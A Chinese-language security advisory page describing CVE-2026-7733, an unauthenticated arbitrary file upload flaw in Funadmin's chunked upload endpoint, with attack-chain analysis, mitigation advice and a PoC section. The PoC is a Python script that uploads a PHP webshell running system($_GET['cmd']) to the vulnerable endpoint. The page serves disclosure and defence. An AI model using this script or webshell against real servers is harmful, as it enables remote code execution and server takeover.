IPBUF安全漏洞报告
English
CVE-2026-7733 CVSS 7.3 高危

CVE-2026-7733: Funadmin任意文件上传漏洞

披露日期: 2026-05-04

漏洞信息

漏洞编号
CVE-2026-7733
漏洞类型
任意文件上传
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Funadmin

相关标签

任意文件上传Funadmin远程代码执行无需认证Web安全

漏洞概述

Funadmin 7.1.0-rc6及之前版本存在严重的安全缺陷。由于`app/common/service/UploadService.php`中的`UploadService::chunkUpload`函数对上传文件缺乏限制,导致未经身份认证的攻击者可上传任意文件。该漏洞可能导致远程代码执行,进而威胁服务器安全。建议用户尽快部署官方补丁PR #59进行修复。

技术细节

该漏洞源于Funadmin组件中前端分块上传端点(Frontend Chunked Upload Endpoint)的实现缺陷。具体受影响的代码位于`app/common/service/UploadService.php`文件的`UploadService::chunkUpload`方法。在处理分块上传请求时,系统未对用户传入的`File`参数进行严格的类型、后缀名及内容验证。由于分块上传机制通常涉及临时文件的创建与合并,如果缺乏安全校验,攻击者可以构造恶意的HTTP POST请求,上传包含恶意代码的文件(如PHP脚本)。攻击过程无需任何用户交互或身份认证(PR:N, UI:N),攻击者可直接从远程发起攻击。一旦文件上传成功并被保存到Web可访问的目录下,攻击者即可通过浏览器访问该文件,触发服务器端代码执行,从而获取服务器权限。

攻击链分析

STEP 1
侦察
攻击者识别出目标站点使用的是存在漏洞的Funadmin版本(<= 7.1.0-rc6)。
STEP 2
漏洞利用
攻击者向`UploadService::chunkUpload`接口发送特制的POST请求,包含恶意的PHP文件数据,利用未授权的文件上传功能写入WebShell。
STEP 3
执行代码
攻击者通过浏览器访问已上传的恶意文件路径,触发服务器端解析,从而执行任意系统命令或获取服务器权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Example, adjust based on actual route) target_url = "http://target.com/api/common/upload/chunk" # Malicious PHP payload php_code = "<?php system($_GET['cmd']); ?>" # Prepare files and data for chunked upload simulation files = { 'file': ('shell.php', php_code, 'application/octet-stream') } data = { 'chunk': '0', 'chunks': '1', 'name': 'shell.php' } try: response = requests.post(target_url, files=files, data=data) if response.status_code == 200: print("[+] Payload uploaded successfully.") print("[+] Check the upload directory for the shell.") else: print("[-] Failed to upload payload.") except Exception as e: print(f"Error: {e}")

影响范围

Funadmin <= 7.1.0-rc6

防御指南

临时缓解措施
如果无法立即升级,建议配置Web服务器的重写规则,禁止在`/public/uploads`及其他可写目录下执行PHP、JSP等脚本文件。同时,通过防火墙或WAF限制对`/api/common/upload/chunk`等上传接口的访问频率和来源IP。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表